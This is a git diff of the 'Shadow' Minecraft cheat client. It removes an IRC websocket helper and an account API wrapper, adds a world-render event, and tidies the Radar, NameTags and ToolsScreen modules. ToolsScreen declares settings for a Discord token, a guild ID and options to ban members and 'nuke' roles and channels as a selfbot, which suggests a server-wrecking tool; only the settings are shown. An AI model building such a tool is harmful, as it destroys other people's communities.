@EventListener(type = EventType.PACKET_SEND)
void onPackSent(PacketEvent pe) {
if (pe.getPacket() instanceof ChatMessageC2SPacket msg) {
String m = msg.getChatMessage();
if (m.startsWith(ircPrefix)) {
pe.setCancelled(true);
wsS.send(m.substring(ircPrefix.length()).trim());
}
}
}
@Override
public void tick() {
}
@Override
public void enable() {
if (ShadowAPIWrapper.getAuthKey() == null) {
Utils.Logging.error("Cannot use IRC because you didn't use the launcher to launch shadow.");
setEnabled(false);
return;
}
initSock();
}
void initSock() {
this.wsS = new IRCWebSocket(URI.create(ShadowAPIWrapper.BASE_WS + "/irc"), ShadowAPIWrapper.getAuthKey(), () -> {
this.wsS = null;
if (this.isEnabled()) this.setEnabled(false);
});
this.wsS.connect();
}
@Override
public void disable() {
if (this.wsS != null) this.wsS.close();
}
public void reconnect() {
if (this.wsS != null) this.wsS.close();
initSock();
}
@Override
public String getContext() {
return null;
}
@Override
public void onWorldRender(MatrixStack matrices) {
}
@Override
public void onHudRender() {
}
}

View file

@ -4,7 +4,6 @@
package net.shadow.client.feature.module.impl.render;
import com.mojang.blaze3d.systems.RenderSystem;
import net.minecraft.client.network.AbstractClientPlayerEntity;
import net.minecraft.client.network.PlayerListEntry;
import net.minecraft.client.util.math.MatrixStack;
@ -14,8 +13,6 @@ import net.minecraft.util.math.Vec3d;
import net.minecraft.world.GameMode;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.helper.GameTexture;
import net.shadow.client.helper.IRCWebSocket;
import net.shadow.client.helper.font.FontRenderers;
import net.shadow.client.helper.font.adapter.FontAdapter;
import net.shadow.client.helper.render.Renderer;
@ -77,27 +74,10 @@ public class NameTags extends Module {
Vec3d actual = new Vec3d(screenPos.x, screenPos.y - labelHeight, screenPos.z);
float width = nameDrawer.getStringWidth(text) + 4;
width = Math.max(width, 60);
boolean in = IRCWebSocket.knownIRCPlayers.stream().anyMatch(playerEntry -> playerEntry.uuid().equals(entity.getUuid()));
double origWidth = 782;
double origHeight = 1000;
double newHeight = nameDrawer.getFontHeight();
double newWidth = origWidth * (newHeight / origHeight);
double req = newWidth + 5;
if (in) {
if (width - req < nameDrawer.getStringWidth(text))
width += newWidth + 5; // make sure we always have some space to draw the icon
}
Renderer.R2D.renderRoundedQuad(stack1, new Color(0, 0, 5, 200), actual.x - width / 2d, actual.y, actual.x + width / 2d, actual.y + labelHeight, 3, 20);
nameDrawer.drawString(stack1, text, actual.x + width / 2d - nameDrawer.getStringWidth(text) - 2, actual.y + 2, 0xFFFFFF);
if (in) {
RenderSystem.setShaderTexture(0, GameTexture.TEXTURE_ICON.getWhere());
Renderer.R2D.renderTexture(stack1, actual.x - width / 2d + 2, actual.y + 2, newWidth, newHeight, 0, 0, newWidth, newHeight, newWidth, newHeight);
}
infoDrawer.drawString(stack1, gmString, actual.x + width / 2d - infoDrawer.getStringWidth(gmString) - 2, actual.y + 2 + nameDrawer.getFontHeight(), 0xAAAAAA);
if (ping != -1)
infoDrawer.drawString(stack1, pingStr, actual.x - width / 2d + 2, actual.y + 2 + nameDrawer.getFontHeight(), 0xAAAAAA);

View file

@ -11,8 +11,8 @@ import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.helper.util.Transitions;
public class Radar extends Module {
public double iScale = 0;
final DoubleSetting scale = this.config.create(new DoubleSetting.Builder(3).name("Scale").description("How much area to show around you").min(0.1).max(10).precision(1).get());
public double iScale = 0;
public Radar() {
super("Radar", "Allows you to see other players and entities around", ModuleType.RENDER);

View file

@ -36,20 +36,17 @@ import java.util.concurrent.TimeUnit;
public class ToolsScreen extends Module {
final StringSetting token = new StringSetting.Builder("").name("Token").get();
final StringSetting guild = new StringSetting.Builder("").name("Guild ID").get();
String packetinputmode = "";
int blocked = 0;
boolean enabled = false;
boolean alt = false;
PanelsGui menu = null;
BooleanSetting ban = new BooleanSetting.Builder(true).name("Ban Members").get();
BooleanSetting roles = new BooleanSetting.Builder(true).name("Nuke roles").get();
BooleanSetting channels = new BooleanSetting.Builder(true).name("Nuke channels").get();
BooleanSetting isSelfbot = new BooleanSetting.Builder(false).name("Is Selfbot").get();
final StringSetting token = new StringSetting.Builder("").name("Token").get();
final StringSetting guild = new StringSetting.Builder("").name("Guild ID").get();
public ToolsScreen() {
super("ToolsScreen", "The tools screen", ModuleType.RENDER);

View file

@ -1,108 +0,0 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.helper;
import com.google.gson.Gson;
import com.google.gson.internal.LinkedTreeMap;
import lombok.AllArgsConstructor;
import net.minecraft.text.Text;
import net.minecraft.util.Formatting;
import net.shadow.client.ShadowMain;
import net.shadow.client.helper.util.Utils;
import org.java_websocket.client.WebSocketClient;
import org.java_websocket.handshake.ServerHandshake;
import java.net.URI;
import java.util.List;
import java.util.Map;
import java.util.UUID;
import java.util.concurrent.CopyOnWriteArrayList;
public class IRCWebSocket extends WebSocketClient {
public static final List<PlayerEntry> knownIRCPlayers = new CopyOnWriteArrayList<>();
final String authToken;
final Runnable onClose;
public IRCWebSocket(URI serverUri, String authToken, Runnable onClose) {
super(serverUri, Map.of("Authorization", authToken, "X-MC-UUID", ShadowMain.client.getSession().getUuid(), "X-MC-USERNAME", ShadowMain.client.getSession().getUsername()));
this.authToken = authToken;
this.onClose = onClose;
}
@Override
public void onOpen(ServerHandshake handshakedata) {
Utils.Logging.success("Connected to IRC");
}
@Override
public void onMessage(String message) {
Packet p = new Gson().fromJson(message, Packet.class);
switch (p.id) {
case "message" -> {
String uname = p.data.get("who").toString();
String msg = p.data.get("message").toString();
Utils.Logging.message(Text.of(String.format("%s[IRC] %s[%s] %s", Formatting.AQUA, Formatting.BLUE, uname, msg)));
}
case "userJoined" -> {
String uname = p.data.get("who").toString();
Utils.Logging.message(Text.of(String.format("%s[IRC] %s%s joined the IRC", Formatting.AQUA, Formatting.GREEN, uname)));
}
case "userLeft" -> {
String uname = p.data.get("who").toString();
Utils.Logging.message(Text.of(String.format("%s[IRC] %s%s left the IRC", Formatting.AQUA, Formatting.RED, uname)));
}
case "connectFailed" -> {
String reason = p.data.get("reason").toString();
Utils.Logging.error("Failed to establish connection, server said: " + reason);
}
case "usersList" -> {
knownIRCPlayers.clear();
for (LinkedTreeMap<String, String> who : ((Iterable<LinkedTreeMap<String, String>>) p.data.get("who"))) {
String u = who.get("username");
UUID uuid;
try {
uuid = UUID.fromString(who.get("uuid"));
} catch (Exception ignored) {
continue;
}
PlayerEntry pe = new PlayerEntry(u, uuid);
if (!knownIRCPlayers.contains(pe)) knownIRCPlayers.add(pe);
}
}
}
}
@Override
public void onClose(int code, String reason, boolean remote) {
Utils.Logging.error("IRC Disconnected");
this.onClose.run();
knownIRCPlayers.clear();
}
@Override
public void onError(Exception ex) {
ex.printStackTrace();
}
public record PlayerEntry(String username, UUID uuid) {
}
@AllArgsConstructor
public static class Packet {
public String id;
public Map<String, Object> data;
public String toRawPacket() {
return new Gson().toJson(this);
}
@Override
public String toString() {
return "Packet{" + "id='" + id + '\'' + ", data=" + data + '}';
}
}
}

View file

@ -1,116 +0,0 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.helper;
import com.google.gson.Gson;
import net.minecraft.item.ItemStack;
import net.minecraft.util.registry.Registry;
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;
import java.util.Map;
public class ShadowAPIWrapper {
public static final String BASE_DOMAIN = "api.shadowclient.cf";
public static final String BASE_URL = "https://" + BASE_DOMAIN;
public static final String BASE_WS = "wss://" + BASE_DOMAIN;
static String authKey = "";
static final HttpClient client = HttpClient.newBuilder().followRedirects(HttpClient.Redirect.ALWAYS).build();
static final Gson gson = new Gson();
static boolean currentUserIsAdmin = false;
public static String getAuthKey() {
if (authKey.isEmpty()) return null;
return authKey;
}
public static boolean isCurrentUserAdmin() {
return currentUserIsAdmin;
}
static HttpResponse<String> get(String path) {
return request(path, "GET", HttpRequest.BodyPublishers.noBody());
}
static HttpResponse<String> request(String path, String method, HttpRequest.BodyPublisher publisher) {
URI u = URI.create(BASE_URL + path);
HttpRequest request = HttpRequest.newBuilder().method(method, publisher).uri(u).header("Authorization", authKey).build();
try {
return client.send(request, HttpResponse.BodyHandlers.ofString());
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
static HttpResponse<String> post(String path, String data) {
return request(path, "POST", HttpRequest.BodyPublishers.ofString(data));
}
public static void logout() {
authKey = "";
}
public static boolean loginWithKey(String session) {
String prevAuthKey = authKey;
authKey = session;
HttpResponse<String> resp = get("/users/current");
if (resp.statusCode() != 200) {
authKey = prevAuthKey;
return false;
}
Map<String, Object> info = gson.fromJson(resp.body(), Map.class);
currentUserIsAdmin = (boolean) info.getOrDefault("isAdmin", false);
return true;
}
public static boolean attemptLogin(String username, String password) {
String d = gson.toJson(Map.of("username", username, "password", password));
HttpResponse<String> uResp = post("/users/apiKeyForCreds", d);
if (uResp == null) return false;
System.out.println(uResp.body() + ": " + d);
if (uResp.statusCode() != 200) return false;
return loginWithKey(uResp.body());
}
public static List<AccountEntry> getAccounts() {
HttpResponse<String> a = get("/users/admin/list");
if (a.statusCode() != 200) return List.of();
return new ArrayList<>(List.of(new Gson().fromJson(a.body(), AccountEntry[].class)));
}
public static boolean deleteAccount(String user, String pass) {
HttpResponse<String> s = request("/users/admin/delete", "DELETE", HttpRequest.BodyPublishers.ofString(new Gson().toJson(Map.of("username", user, "password", pass))));
return s != null && s.statusCode() == 200;
}
public static boolean registerAccount(String user, String pass) {
HttpResponse<String> s = post("/users/admin/register", new Gson().toJson(Map.of("username", user, "password", pass)));
if (s != null) System.out.println(s.body());
return s != null && s.statusCode() == 200;
}
public static boolean putItem(ItemStack stack) {
HttpResponse<String> a = request("/items", "PUT", HttpRequest.BodyPublishers.ofString(gson.toJson(Map.of("itemName", Registry.ITEM.getId(stack.getItem()).getPath(), "itemNbt", new String(Base64.getEncoder().encode(stack.getOrCreateNbt().toString().getBytes(StandardCharsets.UTF_8)))))));
if (a == null) return false;
System.out.println(a.body());
return a.statusCode() == 200;
}
public static class AccountEntry {
public String username, password, apiKey;
@Override
public String toString() {
return "AccountEntry{" + "username='" + username + '\'' + ", password='" + password + '\'' + ", apiKey='" + apiKey + '\'' + '}';
}
}
}

View file

@ -14,6 +14,7 @@ import net.shadow.client.helper.event.events.LoreQueryEvent;
import net.shadow.client.helper.event.events.MouseEvent;
import net.shadow.client.helper.event.events.PacketEvent;
import net.shadow.client.helper.event.events.PlayerNoClipQueryEvent;
import net.shadow.client.helper.event.events.WorldRenderEvent;
import net.shadow.client.helper.event.events.base.Event;
import net.shadow.client.helper.event.events.base.NonCancellableEvent;
@ -24,7 +25,7 @@ public enum EventType {
MOUSE_EVENT(MouseEvent.class), LORE_QUERY(LoreQueryEvent.class), CONFIG_SAVE(NonCancellableEvent.class),
NOCLIP_QUERY(PlayerNoClipQueryEvent.class), KEYBOARD(KeyboardEvent.class), POST_INIT(NonCancellableEvent.class),
HUD_RENDER(NonCancellableEvent.class), GAME_EXIT(NonCancellableEvent.class),
SHOULD_RENDER_CHUNK(ChunkRenderQueryEvent.class);
SHOULD_RENDER_CHUNK(ChunkRenderQueryEvent.class), WORLD_RENDER(WorldRenderEvent.class);
private final Class<? extends Event> expectedType;
public Class<? extends Event> getExpectedType() {

View file

@ -0,0 +1,16 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.helper.event.events;
import lombok.Getter;
import lombok.RequiredArgsConstructor;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.helper.event.events.base.NonCancellableEvent;
@RequiredArgsConstructor
public class WorldRenderEvent extends NonCancellableEvent {
@Getter
final MatrixStack contextStack;
}

View file

@ -65,7 +65,7 @@ public class Utils {
public static String rndStr(int size) {
StringBuilder buf = new StringBuilder();
String[] chars = new String[]{"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};
String[] chars = new String[] { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" };
Random r = new Random();
for (int i = 0; i < size; i++) {
buf.append(chars[r.nextInt(chars.length)]);

View file

@ -22,6 +22,9 @@ import net.shadow.client.feature.module.ModuleRegistry;
import net.shadow.client.feature.module.impl.render.FreeLook;
import net.shadow.client.feature.module.impl.render.Zoom;
import net.shadow.client.helper.Rotations;
import net.shadow.client.helper.event.EventType;
import net.shadow.client.helper.event.Events;
import net.shadow.client.helper.event.events.WorldRenderEvent;
import net.shadow.client.helper.render.MSAAFramebuffer;
import net.shadow.client.helper.render.Renderer;
import net.shadow.client.helper.util.Utils;
@ -51,6 +54,7 @@ public class GameRendererMixin {
module.onWorldRender(matrix);
}
}
Events.fireEvent(EventType.WORLD_RENDER, new WorldRenderEvent(matrix));
Renderer.R3D.renderFadingBlocks(matrix);
});
for (Module module : ModuleRegistry.getModules()) {

View file

@ -10,7 +10,6 @@ import net.minecraft.client.gui.screen.Screen;
import net.minecraft.client.util.Session;
import net.shadow.client.ShadowMain;
import net.shadow.client.feature.module.ModuleRegistry;
import net.shadow.client.feature.module.impl.misc.IRC;
import net.shadow.client.feature.module.impl.world.FastUse;
import net.shadow.client.helper.event.EventType;
import net.shadow.client.helper.event.Events;
@ -48,11 +47,6 @@ public class MinecraftClientMixin implements MinecraftClientDuck {
@Override
public void setSession(Session newSession) {
this.session = newSession;
IRC i = ModuleRegistry.getByClass(IRC.class);
// reconnect to the irc with the new session to stay up to date
if (i.isEnabled()) {
i.reconnect();
}
}
@Inject(method = "<init>", at = @At("TAIL"))

View file

@ -1,37 +0,0 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.mixin;
import com.mojang.blaze3d.systems.RenderSystem;
import net.minecraft.client.gui.hud.PlayerListHud;
import net.minecraft.client.network.PlayerListEntry;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.helper.GameTexture;
import net.shadow.client.helper.IRCWebSocket;
import net.shadow.client.helper.render.Renderer;
import net.shadow.client.helper.util.Utils;
import org.spongepowered.asm.mixin.Mixin;
import org.spongepowered.asm.mixin.injection.At;
import org.spongepowered.asm.mixin.injection.Inject;
import org.spongepowered.asm.mixin.injection.callback.CallbackInfo;
@Mixin(PlayerListHud.class)
public abstract class PlayerListHudMixin {
@Inject(method = "renderLatencyIcon", at = @At("HEAD"), cancellable = true)
void a(MatrixStack matrices, int width, int x, int y, PlayerListEntry entry, CallbackInfo ci) {
if (IRCWebSocket.knownIRCPlayers.stream().anyMatch(playerEntry -> playerEntry.uuid().equals(entry.getProfile().getId()))) {
ci.cancel();
double supposedWidth = 10;
double origWidth = 782;
double origHeight = 1000;
double newHeight = 8;
double newWidth = origWidth * (newHeight / origHeight);
Utils.TickManager.runOnNextRender(() -> {
RenderSystem.setShaderTexture(0, GameTexture.TEXTURE_ICON.getWhere());
Renderer.R2D.renderTexture(matrices, x + width - supposedWidth / 2d - newWidth / 2d - 1, y, newWidth, newHeight, 0, 0, newWidth, newHeight, newWidth, newHeight);
});
}
}
}

View file

@ -59,7 +59,6 @@
"PlayerEntityMixin",
"PlayerEntityRendererMixin",
"PlayerInteractEntityC2SPacketAccessor",
"PlayerListHudMixin",
"ScreenMixin",
"SelectWorldScreenMixin",
"SessionAccessor",